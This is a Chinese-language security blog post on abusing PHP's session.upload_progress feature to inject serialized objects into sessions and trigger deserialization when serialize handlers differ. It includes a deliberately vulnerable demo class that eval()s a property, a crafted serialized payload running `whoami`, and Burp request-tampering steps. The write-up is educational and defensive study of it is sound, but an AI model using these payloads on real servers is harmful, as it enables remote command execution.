沉铝汤的破站

IS LIFE ALWAYS THIS HARD, OR IS IT JUST WHEN YOU'RE A KID

PHP中session.upload_progress的利用

0x00 前言


上一篇文章里,讲了一下如何在session变量可控时,如何利用session进行反序列化攻击。本文就从session变量不可控的情况,如何进行反序列化攻击,进行upload_progress的学习,并对其他利用的方式进行初探。

0x01 session.upload_progress


简介

即“session 上传进度”,自PHP5.4.0之后引入,当php.ini中的session.upload_progress.enabled开启后(默认为开启),当上传文件时,PHP会监测每一个文件的进度,并可以通过一个POST请求来检查这个状态。引入此特性的本意是,当上传大文件时,可以实现类似上传进度条的功能。

如何使用

根据官方文档,当上传时,如果同时POST一个与INI中设置的session.uplaod_progress.name同名变量(Defaults to “PHP_SESSION_UPLOAD_PROGRESS”)时,上传进度可以在$_SESSION中获得,下面是官方给出的一个例子:

<form action="upload.php" method="POST" enctype="multipart/form-data">
 <input type="hidden" name="<?php echo ini_get("session.upload_progress.name"); ?>" value="123" />
 <input type="file" name="file1" />
 <input type="file" name="file2" />
 <input type="submit" />
</form>

上文的name="<?php echo ini_get("session.upload_progress.name"); ?>"也可以设置为name="PHP_SESSION_UPLOAD_PROGRESS"

在session中存储的上传进度,如下所示:

<?php
$_SESSION["upload_progress_123"] = array(
 "start_time" => 1234567890,   // The request time  请求时间
 "content_length" => 57343257, // POST content length 长度
 "bytes_processed" => 453489,  // Amount of bytes received and processed 已接收字节
 "done" => false,              // true when the POST handler has finished, successfully or not 是否上传完成
 "files" => array(//上传的文件
  0 => array(
   "field_name" => "file1",       // Name of the <input/> field  input中设定的变量名
   // The following 3 elements equals those in $_FILES             
   "name" => "foo.avi",           //文件名
   "tmp_name" => "/tmp/phpxxxxxx",
   "error" => 0,
   "done" => true,                // True when the POST handler has finished handling this file
   "start_time" => 1234567890,    // When this file has started to be processed
   "bytes_processed" => 57343250, // Amount of bytes received and processed for this file
  ),
  // An other file, not finished uploading, in the same request
  1 => array(
   "field_name" => "file2",
   "name" => "bar.avi",
   "tmp_name" => NULL,
   "error" => 0,
   "done" => false,
   "start_time" => 1234567899,
   "bytes_processed" => 54554,
  ),
 )
);

可以看到session中的field_namename都是我们可控的,如果此时存在上一篇文章所说的处理器不同的问题,那么就能成功反序列化攻击,下面是一个demo。

0x02 进行反序列化


<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class Test
{
    public $name="phpinfo();";
    function __destruct()
    {
        eval($this->name);
    }
}
if(isset($_GET['phpinfo']))
{
    $m = new Test();
}

可以看到,只要可以改变Test类中的name成员变量就能够进行反序列化,首先查看phpinfo,如下

image-20210413105634232

这里处理器的局部变量(local value)是php,而全局变量master valuephp_serialize,所以可能造成反序列化攻击,并且他的session.upload_progress.enabled也为开启状态,所以我们就可以利用upload_progess来构造一个可控的session。这里还有一个细节就是,session.uoload_progress.cleanup要设置为off(默认为on),这样seesion才不会被自动清除。(如果为on可以利用条件竞争,用burp不断发包)

我们先构造一个序列化的值:

|O:4:"Test":1:{s:4:"name";s:14:"echo `whoami`;";}

然后我们用自己构造的表单上传文件并抓包:

image-20210413111926371

在Repeater中改完后(注意转义序列化数据中的双引号,或者filename=’’,使用单引号),发送后,将这一部分复制(让burp帮我们改变一下C-L),然后在目标网站抓包并构造请求:

image-20210413113300908

实验结果如下,成功执行命令,并且存储的session如下:

image-20210413113228768

另外我们也可以试下另一个可控的地方input 中的文件变量名

image-20210413114234823

结果也是可行的:

image-20210413114457778

这个攻击的不足就是,需要改变太多php.ini的设置,且大多与默认值相反。

其实这里还有一个可控的地方,就是name=”“ value=”123” 中的value,会生成upload_progress_value键值(如上文的upload_progress_123)

0x03 LFI GETSHELL


上文提到了利用upload_progress可以上传一个session,而且PHP默认地打开session.upload_progress.enabled,并且里面有两()个变量是我们可控的,那么除了利用处理器的不同从而造成反序列化漏洞,是不是还可以干点别的呢?

是的,如果一个网站存在文件包含漏洞,我们是不是可以直接写入PHP的代码来构造shell,然后进行文件包含呢?下面就实验一下看。

为了水文章(完成自己的每日KPI,只要我改规则,我就永远完成了),并且方便我自己整理,我就在另一篇文章再讲吧

0x04 参考文章


PHP_Session反序列化漏洞

Y4tacker师傅

whoami